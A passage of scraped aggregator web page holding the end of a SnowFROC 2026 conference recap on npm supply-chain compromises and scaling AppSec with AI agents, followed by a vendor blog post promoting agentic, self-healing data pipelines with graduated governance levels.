kg-card-hascaption"><img decoding="async" src="https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/2026/04/data-src-image-8f9ce2b3-f9b8-4cbd-a00b-c76b372e776b.png" class="kg-image" alt="SnowFROC 2026: Secure Defaults, Real Trust, and a Better Layer on Top" loading="lazy" width="1000" height="753" srcset="https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/size/w600/2026/04/data-src-image-8f9ce2b3-f9b8-4cbd-a00b-c76b372e776b.png 600w, https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/2026/04/data-src-image-8f9ce2b3-f9b8-4cbd-a00b-c76b372e776b.png 1000w" sizes="auto, (min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Chris Lindsey</span></figcaption></figure><h2 id="npm%E2%80%99s-crisis-is-really-an-operations-story"><strong>npm’s Crisis Is Really an Operations Story</strong></h2><p>In the session from<a href="https://www.linkedin.com/in/jenngile?ref=blog.gitguardian.com"><u> Jenn Gile, founder of OpenSourceMalware.com</u></a>, called "npm's dark side: Preventing the next Shai-Hulud," she presented the last year of npm account takeovers and package compromises as a lesson in how malware now rides normal engineering behavior. Jenn drew a sharp line between two kinds of software risk: accidental vulnerabilities and intentionally malicious packages. A vulnerability is a flaw that can be exploited if an attacker has a viable path. Malicious software is built from the start to cause harm, often by targeting developers and build environments directly, and it does not always need the same kind of runtime path to do damage. Malicious code does rely, though, on abusing trust. When trust is the vector, the usual instinct to stay on the latest version can become part of the problem.</p><p>The heart of the session was account takeover (ATO) and why npm remains such an attractive target. Install scripts still run by default, and provenance is not mandatory. Long-lived publishing tokens remain common. In practice, that means attackers do not always need to break the package ecosystem itself. They can hijack trust that already exists. Jenn walked through a string of compromises from 2025 into 2026, including phishing campaigns, typosquatted domains, spoofed maintainer emails, CI and GitHub Actions token theft, and follow-on attacks that used stolen secrets to widen the blast radius. The throughline across cases like Nx, Qix, <a href="https://blog.gitguardian.com/shai-hulud-2/"><u>Shai-Hulud</u></a>, <a href="https://blog.gitguardian.com/team-pcp-snowball-analysis/"><u>TeamPCP</u></a>, and Axios was not just a technical weakness. It was how easily trusted maintainers, trusted packages, and trusted upgrade habits could be turned against the people relying on them.</p><p>Jenn explained that hardware keys help protect the human authentication path, while trusted publishing helps protect the machine path by tying publication to a specific GitHub Actions identity. Session-based authentication can reduce exposure windows, even if it does not eliminate the risk of phishing. However, strong controls only work if teams actually use them, and right now, friction and bias still get in the way.</p><p>Jenn's advice was to treat malware prevention as a team sport across development, product security, cloud security, and incident response. Use lockfiles, avoid automatic upgrades, scrutinize lifecycle scripts, harden CI, scan for malware earlier, rotate and scope credentials, monitor for misuse, and build supply chain playbooks that account for how malware behaves differently from ordinary vulnerabilities, especially in the JavaScript and Python ecosystems.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img decoding="async" src="https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/2026/04/data-src-image-9a5b7271-e518-415c-a8fe-141df547adab.png" class="kg-image" alt="SnowFROC 2026: Secure Defaults, Real Trust, and a Better Layer on Top" loading="lazy" width="1000" height="753" srcset="https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/size/w600/2026/04/data-src-image-9a5b7271-e518-415c-a8fe-141df547adab.png 600w, https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/2026/04/data-src-image-9a5b7271-e518-415c-a8fe-141df547adab.png 1000w" sizes="auto, (min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Jenn Gile</span></figcaption></figure><h2 id="scale-comes-from-systems-not-heroics"><strong>Scale Comes From Systems, Not Heroics</strong></h2><p>In the final talk of the day, from <a href="https://www.linkedin.com/in/mudita-khurana-87b72442/?ref=blog.gitguardian.com"><u>Mudita Khurana, an Airbnb staff security engineer</u></a>, called "Scaling AppSec through humans &amp; agents," they presented a model for handling a world where code volume is rising fast, AI tools are now common, and meaningful portions of code are being produced outside the old IDE-centered workflow. She explained her company is seeing more code, more contributors, and far more code generated with AI than even a few years ago. Today nearly all pull request authors are using AI coding tools weekly, a meaningful amount of code is now written by non-engineers outside the IDE, and a large share of total code is AI-generated. Mudita explained you cannot keep up by adding manual review alone. Their response is a layered one: unified tooling to create consistency, LLM agents to extend coverage, and a human network to bring judgment and context where automation still falls short.</p><p>A single security CLI acts as the abstraction layer over capabilities like static analysis, software composition analysis, secrets detection, and infrastructure-as-code scanning, with the same experience, exemptions, and metrics no matter where it runs. That lets security checks show up across the developer workflow, from lightweight pre-commit feedback to fuller pull request scans and post-merge coverage. </p><p>On top of that, the team is using AI for security review in a more grounded way than generic prompting. Instead of asking a model for a broad security pass, they feed it security requirements as code, along with internal frameworks, auth models, and known anti-patterns. They also measure prompt changes against a dataset built from real historical vulnerabilities, which gives them a baseline for whether the agents are actually improving.</p><p>The part of their plan that Mudita was the most excited to share was their security champions program. They do not treat this program as volunteer side work. It is tied to the engineering career ladder, backed by real responsibilities, and supported with a two-way flow of data between security and the orgs doing the work. These champions help write custom rules, triage findings, support risk assessments, and drive adoption because they understand the business context in a way central security teams often cannot. They have created a feedback loop where human insight improves the tools, the tools improve the signal, and prevention gradually moves earlier, into the IDE, into AI prompts, and into the default way code gets written.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img decoding="async" src="https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/2026/04/data-src-image-6417a808-7d7c-4078-abe8-5bafd5d0ab0b.png" class="kg-image" alt="SnowFROC 2026: Secure Defaults, Real Trust, and a Better Layer on Top" loading="lazy" width="1000" height="753" srcset="https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/size/w600/2026/04/data-src-image-6417a808-7d7c-4078-abe8-5bafd5d0ab0b.png 600w, https://storage.ghost.io/c/42/5d/425d266f-cf99-406e-9436-597a19bed011/content/images/2026/04/data-src-image-6417a808-7d7c-4078-abe8-5bafd5d0ab0b.png 1000w" sizes="auto, (min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Mudita Khurana</span></figcaption></figure><h2 id="security-that-lives-where-decisions-happen">Security that lives where decisions happen</h2><p>One pattern ran through almost every strong session: security works best when it shows up at the point of action. In an IDE. In a pull request. In a package policy. In a browser extension review. In a token issuance flow. In a prompt used by an AI assistant. Teams still lose time when secure guidance lives in a wiki, a yearly training deck, or a control that runs too late to influence the original choice.</p><p>That shift sounds simple, but it changes program design. It favors lightweight friction, contextual signals, paved paths, and small reminders over large annual campaigns. It also favors security teams that can collaborate with developer platforms, identity teams, and cloud teams instead of operating as a separate review function.</p><h3 id="the-new-perimeter-is-made-of-borrowed-trust"><strong>The new perimeter is made of borrowed trust</strong></h3><p>Modern software development depends on borrowed trust. Developers trust registries, packages, maintainers, AI suggestions, browser tools, and automation pipelines. Organizations trust tokens, runners, integrations, and service accounts to behave within expected bounds. Attackers know that every one of those relationships can be bent.</p><p>That has direct implications for secrets management and non-human identities. A stolen token, an over-scoped credential, or a poisoned dependency can move through trusted systems much faster than traditional controls were built to handle. The answer is tighter provenance, shorter credential lifetimes, stronger attestation, clearer ownership, and continuous review of the trust assumptions hiding inside delivery pipelines.</p><h3 id="maturity-now-means-feedback-loops"><strong>Maturity now means feedback loops</strong></h3><p>There was another persistent theme that we need to focus on creating feedback loops. Behavioral nudges need measurement to know how to improve them. Threat prioritization needs cost and impact models to claim success. AI review needs evaluation against real defects to be meaningful. Supply chain response needs intelligence, containment, and recovery steps that teams can actually execute.</p><p>Mature AppSec programs increasingly look like systems that learn. They collect signals, improve defaults, refine detections, tighten identity boundaries, and push lessons back into the places where code and infrastructure are created. The organizations that do this well will handle AI-generated code, secrets sprawl, and NHI governance with more control because they have already built the habit of turning incidents and friction into better operating models.</p><h2 id="mile-high-city-learnings"><strong>Mile High City Learnings</strong></h2><p>SnowFROC 2026, which happens at the highest altitupd of any OWASP event, felt grounded in the best way. Talks treated security as daily operating design that focused on how people are rewarded, how trust is granted, how credentials spread, and how teams scale judgment without burning out the humans in the loop. Your author was able to give a talk about how we moved from slow waterfall based deployment to a world of DevOps where we have never deployed more, faster. We have a golden opportunity as we adopt AI across our tool chains to rethink authentication in a meaningful way that might just reverberate through all our stacks of non-human identities. That is the feedback look we can all benefit from.  </p><p>For teams thinking about identity risk, secrets exposure, and the governance of machine-driven development, SnowFROC offered a useful path forward. Start with defaults. Reduce silent trust. Treat credentials and dependencies as live operational risk. Then build feedback loops that make the next secure decision easier than the last one. That is a practical agenda, and after a snowy spring day in Denver, it also feels achievable.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/snowfroc-2026-secure-defaults-real-trust-and-a-better-layer-on-top/" data-a2a-title="SnowFROC 2026: Secure Defaults, Real Trust, and a Better Layer on Top"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fsnowfroc-2026-secure-defaults-real-trust-and-a-better-layer-on-top%2F&amp;linkname=SnowFROC%202026%3A%20Secure%20Defaults%2C%20Real%20Trust%2C%20and%20a%20Better%20Layer%20on%20Top" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fsnowfroc-2026-secure-defaults-real-trust-and-a-better-layer-on-top%2F&amp;linkname=SnowFROC%202026%3A%20Secure%20Defaults%2C%20Real%20Trust%2C%20and%20a%20Better%20Layer%20on%20Top" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fsnowfroc-2026-secure-defaults-real-trust-and-a-better-layer-on-top%2F&amp;linkname=SnowFROC%202026%3A%20Secure%20Defaults%2C%20Real%20Trust%2C%20and%20a%20Better%20Layer%20on%20Top" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fsnowfroc-2026-secure-defaults-real-trust-and-a-better-layer-on-top%2F&amp;linkname=SnowFROC%202026%3A%20Secure%20Defaults%2C%20Real%20Trust%2C%20and%20a%20Better%20Layer%20on%20Top" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fsnowfroc-2026-secure-defaults-real-trust-and-a-better-layer-on-top%2F&amp;linkname=SnowFROC%202026%3A%20Secure%20Defaults%2C%20Real%20Trust%2C%20and%20a%20Better%20Layer%20on%20Top" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://blog.gitguardian.com/">GitGuardian Blog - Take Control of Your Secrets Security</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Dwayne McDaniel">Dwayne McDaniel</a>. Read the original post at: <a href="https://blog.gitguardian.com/snowfroc-2026/">https://blog.gitguardian.com/snowfroc-2026/</a> </p>

<p>Data engineering is no longer about building pipelines that follow instructions. It is about building systems that think, adapt, and fix themselves. The traditional model of static workflows, manual monitoring, and reactive debugging is breaking under the pressure of modern data scale and speed.</p><p><a href="https://www.ishir.com/blog/320339/ai-native-marketing-is-here-its-not-the-next-destination.htm">Agentic data pipelines</a> change that completely. They replace rigid processes with autonomous systems powered by AI agents that can observe, reason, act, and learn in real time. Instead of waiting for engineers to intervene, these pipelines make decisions on their own, handle failures as they happen, and continuously improve from experience.</p><p>This shift is not theoretical. It is already redefining how data platforms are built and operated in 2026. In this blog, we break down how agentic pipelines work, what makes them different, and how teams can start adopting them without unnecessary risk.</p><h2>What Are Agentic Data Pipelines?</h2><p>Traditional data pipelines follow fixed instructions. <a href="https://www.ishir.com/blog/319236/how-to-prepare-your-business-for-ai-a-workflow-first-approach.htm">Engineers define workflows</a>, schedule jobs, and fix failures manually. Agentic pipelines remove that rigidity. They are AI-driven systems that can reason, plan, act, and learn without constant human input. In 2026, this is no longer experimental. Most new data infrastructure is being created and managed by <a href="https://www.ishir.com/artificial-intelligence.htm">AI agents</a>, not humans.</p><h2>The Six Layers of an Agentic Pipeline: How Intelligence Is Built Into Data Systems</h2><p><strong>1. Intent Layer</strong><br> The intent layer defines the purpose of the pipeline instead of just the steps. It captures business goals, data consumers, and expectations around freshness, accuracy, and reliability. This allows the system to prioritize decisions dynamically based on outcomes, not instructions. Without intent, the pipeline cannot adapt and simply executes blindly.</p><p><strong>2. Observability Layer</strong><br> The observability layer provides continuous visibility into pipeline health, <a href="https://www.ishir.com/blog/126517/why-investing-in-quality-analysts-is-investing-in-your-future.htm">data quality</a>, and system performance. It tracks metrics like failures, schema drift, anomalies, and SLA breaches in real time. These signals act as the foundation for decision-making. Without strong observability, the system lacks awareness and cannot respond effectively.</p><p><strong>3. Reasoning Engine</strong><br> The reasoning engine is the decision-making core that interprets signals and determines the right course of action. It performs root cause analysis, evaluates possible fixes, and selects the best response based on context. This eliminates generic reactions and replaces them with intelligent, situation-aware decisions. It is what makes the pipeline autonomous instead of reactive.</p><p><strong>4. Action Layer</strong><br> The action layer executes decisions directly within the system by interacting with orchestration tools and infrastructure. It can restart jobs, scale resources, modify queries, or isolate faulty data. This layer ensures that decisions are not just theoretical but actually implemented in production. Speed and reliability of execution define its effectiveness.</p><p><strong>5. Memory Layer</strong><br> The memory layer stores past incidents, decisions, and outcomes to improve future responses. It allows the system to learn from recurring issues and resolve them faster over time. Instead of re-analyzing every problem, the pipeline builds operational intelligence. This continuous learning is what drives long-term efficiency and resilience.</p><p><strong>6. Governance Layer</strong><br> The governance layer enforces policies, controls, and compliance boundaries for all actions. It defines what can be automated, what requires approval, and ensures every decision is logged and traceable. This layer builds trust by balancing autonomy with control. Without governance, the system risks making unchecked changes in production.</p><h2>AI-Driven Pipeline Automation Loop: From Detection to Self-Healing</h2><p>Agentic pipelines operate on a continuous loop that enables real-time decision-making and self-healing without human intervention. Each step in the loop plays a distinct role in maintaining and improving the system.</p><ul> <li><strong>Observe</strong><br> Continuously monitors system signals, including logs, metrics, data quality, schema changes, and performance indicators. This step ensures the pipeline has full visibility into both data and infrastructure conditions in real time.</li> <li><strong>Reason</strong><br> Analyzes the observed signals to identify root causes of issues. It differentiates between transient errors and deeper systemic problems, then determines the most effective course of action based on context and intent.</li> <li><strong>Act</strong><br> Executes the chosen response directly within the system. This could involve retrying jobs, scaling resources, modifying queries, or isolating problematic data to prevent downstream impact.</li> <li><strong>Remember</strong><br> Stores the incident, decision, and outcome as part of the system’s memory. This enables faster and more accurate handling of similar issues in the future, improving performance over time.</li> </ul><h2>AI-Powered Self-Healing Pipelines for Data Reliability</h2><p>Self-healing is the immediate payoff. Engineers currently spend a large portion of time identifying and fixing issues. Agentic systems eliminate most of that effort.</p><p><strong>Failure scenarios and autonomous responses</strong></p><p><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-320924" src="https://www.ishir.com/wp-content/uploads/2026/04/AI-First-Products-4.png" alt="" width="740" height="432" srcset="https://www.ishir.com/wp-content/uploads/2026/04/AI-First-Products-4.png 740w, https://www.ishir.com/wp-content/uploads/2026/04/AI-First-Products-4-300x175.png 300w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px"></p><h2>Autonomous Data Pipeline Generation: AI-Driven Pipeline Creation from Intent</h2><h4><strong>Autonomous Pipeline Generation</strong></h4><p>Beyond self-healing, agentic systems can generate entire pipeline components from natural language specifications or by analyzing raw data patterns. Tools like Databricks Genie Code (launched March 2026) and Snowflake Cortex Code represent the leading edge of this capability.</p><p>Genie Code reasons through problems, plans multi-step approaches, writes and validates production-grade code, and maintains the result — all while keeping humans in control of the decisions that matter. On real-world data science tasks, it more than doubled the success rate of leading coding agents from 32.1% to 77.1%.</p><p><strong>E<u>xample: Agent-generated dbt model</u></strong></p><p><a href="https://www.ishir.com/data-ai-acceleration.htm">Data transformation agents</a> can analyze raw data patterns, suggest and generate dbt models and tests automatically, aligned with organizational best practices. Here is what agent-assisted pipeline generation looks like:</p><p><img decoding="async" class="alignnone size-full wp-image-320929" src="https://www.ishir.com/wp-content/uploads/2026/04/AI-First-Products-5.png" alt="AI-First Products " width="740" height="432" srcset="https://www.ishir.com/wp-content/uploads/2026/04/AI-First-Products-5.png 740w, https://www.ishir.com/wp-content/uploads/2026/04/AI-First-Products-5-300x175.png 300w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px"></p><h2>Multi-Agent Data Pipeline Orchestration: Coordinating AI Agents for Scalable, Autonomous Data Engineering</h2><p>Modern agentic pipelines do not rely on a single AI agent. They operate as coordinated systems of specialized agents, each responsible for a specific function within the data lifecycle. This approach mirrors how high-performing data teams work, but executes at machine speed with continuous coordination and no handoffs.</p><p>At the center is the <a href="https://www.ishir.com/ai-agent-orchestration-services.htm">orchestrator agent</a>, which acts as the control layer. It assigns tasks, manages dependencies, resolves conflicts between agents, and maintains a global view of pipeline health. It ensures that all components work in sync and that decisions align with the pipeline’s intent and governance policies.</p><p><strong>Supporting it are domain-specific agents:</strong></p><ul> <li><strong>Ingestion Agents</strong> handle data intake from multiple sources. They monitor schema changes, adjust parsing logic dynamically, and ensure incoming data remains compatible with downstream systems. This reduces breakages caused by upstream changes.</li> <li><strong>Data Quality Agents</strong> continuously validate data against defined standards. They detect anomalies, enforce data contracts, quarantine bad records, and trigger corrective actions when quality thresholds are violated. This prevents bad data from propagating across the pipeline.</li> <li><strong>Transformation Agents</strong> generate, optimize, and maintain transformation logic. They build <a href="https://www.ishir.com/hire-mysql-developer.htm">SQL queries</a>, dbt models, and feature engineering workflows while continuously improving performance and efficiency based on usage patterns.</li> </ul><p>The real complexity lies in coordination. These agents often operate on overlapping responsibilities and shared resources. The orchestration layer must manage dependencies, prioritize tasks, and resolve conflicts in real time. For example, a quality agent may flag an issue while a transformation agent is mid-execution. The orchestrator decides whether to pause, reroute, or continue processing based on impact and policy.</p><p>This multi-agent architecture enables parallel execution, faster recovery, and higher system resilience. Instead of a single point of failure, intelligence is distributed across multiple agents that collaborate continuously. The result is a data pipeline that is not just automated, but coordinated, adaptive, and scalable by design.</p><h2>Governance, Trust &amp; the Human-in-the-Loop</h2><p>The most common objection to agentic pipelines is: how do you trust a system that modifies <a href="https://www.ishir.com/blog/42058/top-15-emerging-databases-to-use-in-2022-and-beyond.htm">production databases</a> without asking permission? The answer is Policy-Based Action Frameworks – a governance layer that defines exactly what agents can and cannot do autonomously.</p><p><strong>Policy enforcement levels:</strong></p><ul> <li>Notify only – agent identifies issue, logs it, and alerts a human. No autonomous action taken.</li> <li>Suggest – agent proposes a specific remediation with reasoning. Human reviews and approves before execution.</li> <li>Auto-approve low-risk – agent autonomously executes pre-approved actions (retries, minor schema fixes). Logs all actions.</li> <li>Full autonomy with audit – agent acts freely within defined policy boundaries. Every action logged with reasoning traces.</li> </ul><p>Most organizations start at ‘notify only’ and progressively unlock higher autonomy as trust in the system is established. This graduated approach is critical – it allows teams to validate the agent’s logic in shadow mode before granting write access to production systems.</p><p>As agentic operating models mature, <a href="https://www.ishir.com/hire-big-data-engineer.htm">data engineers</a> shift from hand-coding transformations to supervising autonomous systems. That means designing guardrails, reviewing agent decisions, and resolving novel edge cases. Explainability becomes core to the model: reasoning traces, auditable logs, and human-in-the-loop checkpoints are required for trust and compliance.</p><h2>AI-Powered Data Engineering Tools, Roles, and Impact</h2><h4><strong>Agentic Data Platforms</strong></h4><p><strong>Tools included:</strong> Databricks Genie Code, Snowflake Cortex Code<br> These platforms handle end-to-end pipeline generation, optimization, and deployment. They translate business intent into production-ready workflows using AI. The impact is faster development cycles, reduced manual coding, and higher consistency in pipeline design.</p><h4><strong>Pipeline Orchestration Tools</strong></h4><p><strong>Tools included:</strong> Apache Airflow, Dagster, Prefect<br> These tools manage scheduling, dependencies, and execution of <a href="https://www.ishir.com/blog/313910/ai-agent-orchestration-how-it-works-and-why-it-matters.htm">data workflows</a>. In agentic systems, they act as execution backbones where AI agents trigger reruns, adjust workflows, and optimize operations in real time. Their role is critical for stability and controlled execution.</p><h4><strong>Self-Healing and Observability Tools</strong></h4><p><strong>Tools included:</strong> Acceldata ADM, Monte Carlo, OpenTelemetry<br> These tools provide deep visibility into pipeline health, data quality, and system performance. They enable anomaly detection and support automated remediation through <a href="https://www.ishir.com/ai-agent-development-services.htm">agentic decision-making</a>. The impact is reduced downtime and elimination of manual debugging.</p><h4><strong>Data Transformation and AI Modeling Tools</strong></h4><p><strong>Tools included:</strong> dbt with AI agents, Spark with LLMs<br> These tools automate the creation and optimization of data transformations. They generate <a href="https://www.ishir.com/blog/317646/migrating-sql-server-to-aurora-postgresql-solving-the-real-challenges-of-cloud-database-modernization.htm">SQL models</a>, enforce <a href="https://www.ishir.com/software-testing-qa-services.htm">data tests</a>, and improve performance based on usage patterns. This reduces engineering effort while improving data reliability and scalability.</p><h4><strong>Data Governance and Lineage Tools</strong></h4><p><strong>Tools included</strong>: Unity Catalog, Apache Atlas, OpenLineage<br> These systems enforce access controls, maintain lineage, and ensure compliance. They define what actions agents can take and provide full auditability of every decision. Their impact is trust, transparency, and safe automation in production environments.</p><h4><strong>Memory and Context Stores</strong></h4><p><strong>Tools included:</strong> LanceDB, Chroma, Vector databases<br> These systems store historical context, past incidents, and decision outcomes. They allow AI agents to learn from previous scenarios and improve over time. The result is faster resolution of recurring issues and continuous system optimization.</p><h2>Agentic Data Pipeline Implementation Roadmap</h2><h4><strong>Step 1: Start with AI-Assisted Pipeline Development</strong></h4><p>Adopt AI coding tools like GitHub Copilot, Databricks Genie Code, or Snowflake Cortex Code to accelerate pipeline creation. This delivers immediate productivity gains without changing existing architecture. It is the lowest-risk entry point into agentic systems.</p><h4><strong>Step 2: Implement Automated Data Quality Monitoring</strong></h4><p><a href="https://www.ishir.com/hire-machine-learning-engineers.htm">Deploy ML-based data quality</a> and anomaly detection tools to replace static rules. This improves accuracy in detecting issues and significantly reduces alert fatigue. It builds the foundation for intelligent decision-making.</p><h4><strong>Step 3: Deploy Self-Healing Agents in Shadow Mode</strong></h4><p>Introduce agentic systems in “suggest only” mode where they recommend fixes but do not execute them. Monitor their decisions over a few weeks to validate accuracy and build trust. This step ensures safe evaluation before automation.</p><h4><strong>Step 4: Define Governance and Policy Frameworks</strong></h4><p>Establish clear rules for what actions can be automated and what requires human approval. Start with strict controls and gradually allow low-<a href="https://www.ishir.com/strategic-advisory-services.htm">risk autonomous actions</a>. Governance is critical to ensure safe and compliant operations.</p><h4><strong>Step 5: Enable the Autonomous Pipeline Loop</strong></h4><p>Activate the full observe-reason-act-remember loop with controlled autonomy. Allow agents to execute approved actions, learn from outcomes, and continuously improve. Conduct regular audits to ensure decisions remain aligned with business intent and policies.</p><h2>How ISHIR Helps You Build Agentic Data Pipelines</h2><p>ISHIR helps organizations transition from traditional data pipelines to agentic, AI-driven systems by combining Agentic AI development with deep data engineering expertise. We design and build intelligent agents, modernize pipeline architectures, and integrate observability, orchestration, and self-healing capabilities to create scalable, autonomous data platforms aligned with business outcomes.</p><p>Beyond implementation, ISHIR enables real business impact through advanced <a href="https://www.ishir.com/data-analytics.htm">data analytics</a> and hands-on <a href="https://www.ishir.com/data-ai-acceleration.htm">Data + AI workshops</a>. We help teams unlock actionable insights, define clear adoption roadmaps, and build internal capability to manage and scale agentic systems with confidence and control.</p><div class="ctaThreeWrapper"> <div class="ctaThreeContent"> <div class="ctaThreeConList"> <div class="content"> <h2 data-start="0" data-end="101">Struggling with fragile data pipelines, constant failures, and manual fixes slowing your team down?</h2> <p>ISHIR helps you build AI-powered, self-healing data pipelines that automate operations and scale with confidence.</p> <div class="linkWrapper"><a href="https://www.ishir.com/get-in-touch.htm" rel="noopener">Get Started</a></div> </div> </div> </div> </div><h2>FAQs on Agentic Data Pipelines and AI-Driven Data Engineering</h2><h4><strong>Q. What is an agentic data pipeline and how is it different from traditional pipelines?</strong></h4><p>An agentic data pipeline is an AI-driven system that can observe, reason, act, and learn without constant human intervention. Unlike traditional pipelines that follow fixed workflows, agentic pipelines adapt dynamically to changes in data, schema, and system conditions. They do not just execute tasks, they make decisions based on context and intent. This shift reduces manual debugging, improves reliability, and enables real-time optimization. It is a move from static automation to intelligent autonomy.</p><h4><strong>Q. How do AI agents actually improve data pipeline reliability?</strong></h4><p>AI agents improve reliability by continuously monitoring system health and data quality, then taking corrective action instantly. Instead of waiting for alerts and manual fixes, they identify root causes and resolve issues such as failures, anomalies, or schema changes in real time. They also learn from past incidents, which means recurring problems are handled faster and more accurately. This significantly reduces downtime, data inconsistencies, and operational overhead.</p><h4><strong>Q. Are agentic data pipelines safe to use in production environments?</strong></h4><p>Yes, but only when implemented with strong governance frameworks. Most organizations start with limited autonomy where agents suggest actions instead of executing them. Over time, low-risk actions like retries or scaling are automated, while critical changes still require approval. Every action is logged, traceable, and aligned with policy rules. This controlled approach ensures safety, compliance, and trust while gradually increasing automation.</p><h4><strong>Q. What are the main challenges in adopting agentic pipelines?</strong></h4><p>The biggest challenges are trust, governance, and system integration. Teams often hesitate to allow AI systems to modify production data without oversight. There is also complexity in integrating AI agents with existing orchestration, monitoring, and data systems. Another challenge is defining clear intent and policies so agents can make correct decisions. Successful adoption requires a phased approach with validation, monitoring, and gradual rollout.</p><h4><strong>Q. Do agentic pipelines replace data engineers?</strong></h4><p>No, they change the role of data engineers rather than replacing them. Engineers move from writing and fixing pipelines to designing systems, defining policies, and supervising AI agents. They focus more on architecture, governance, and optimization instead of repetitive operational tasks. This shift increases productivity and allows teams to handle larger, more complex data environments with fewer resources.</p><h4><strong>Q. What tools are commonly used to build AI-driven data pipelines?</strong></h4><p>The ecosystem includes agentic platforms like Databricks Genie Code and Snowflake Cortex, orchestration tools like Airflow and Dagster, and observability tools like Monte Carlo and OpenTelemetry. Transformation tools such as dbt combined with AI agents automate modeling and SQL generation. Governance tools ensure compliance, while vector databases store memory for learning. These tools work together to enable intelligent, autonomous pipeline behavior.</p><h4><strong>Q. How can organizations start implementing agentic data pipelines today?</strong></h4><p>The best approach is to start small and build progressively. Begin with AI-assisted development to speed up pipeline creation, then implement automated data quality monitoring. Introduce agentic systems in a suggestion mode to validate their decisions before enabling automation. Define governance policies early to control risk. Once trust is established, gradually activate full autonomy with continuous monitoring and audits. This phased strategy ensures safe and effective adoption.</p><p>The post <a href="https://www.ishir.com/blog/320917/agentic-data-pipelines-the-shift-to-autonomous-data-engineering.htm">Agentic Data Pipelines: The Shift to Autonomous Data Engineering</a> appeared first on <a href="https://www.ishir.com/">ISHIR | Custom AI Software Development Dallas Fort-Worth Texas</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/agentic-data-pipelines-the-shift-to-autonomous-data-engineering/" data-a2a-title="Agentic Data Pipelines: The Shift to Autonomous Data Engineering"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fagentic-data-pipelines-the-shift-to-autonomous-data-engineering%2F&amp;linkname=Agentic%20Data%20Pipelines%3A%20The%20Shift%20to%20Autonomous%20Data%20Engineering" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fagentic-data-pipelines-the-shift-to-autonomous-data-engineering%2F&amp;linkname=Agentic%20Data%20Pipelines%3A%20The%20Shift%20to%20Autonomous%20Data%20Engineering" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fagentic-data-pipelines-the-shift-to-autonomous-data-engineering%2F&amp;linkname=Agentic%20Data%20Pipelines%3A%20The%20Shift%20to%20Autonomous%20Data%20Engineering" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fagentic-data-pipelines-the-shift-to-autonomous-data-engineering%2F&amp;linkname=Agentic%20Data%20Pipelines%3A%20The%20Shift%20to%20Autonomous%20Data%20Engineering" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fagentic-data-pipelines-the-shift-to-autonomous-data-engineering%2F&amp;linkname=Agentic%20Data%20Pipelines%3A%20The%20Shift%20to%20Autonomous%20Data%20Engineering" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.ishir.com/">ISHIR | Custom AI Software Development Dallas Fort-Worth Texas</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Naresh Kumar">Naresh 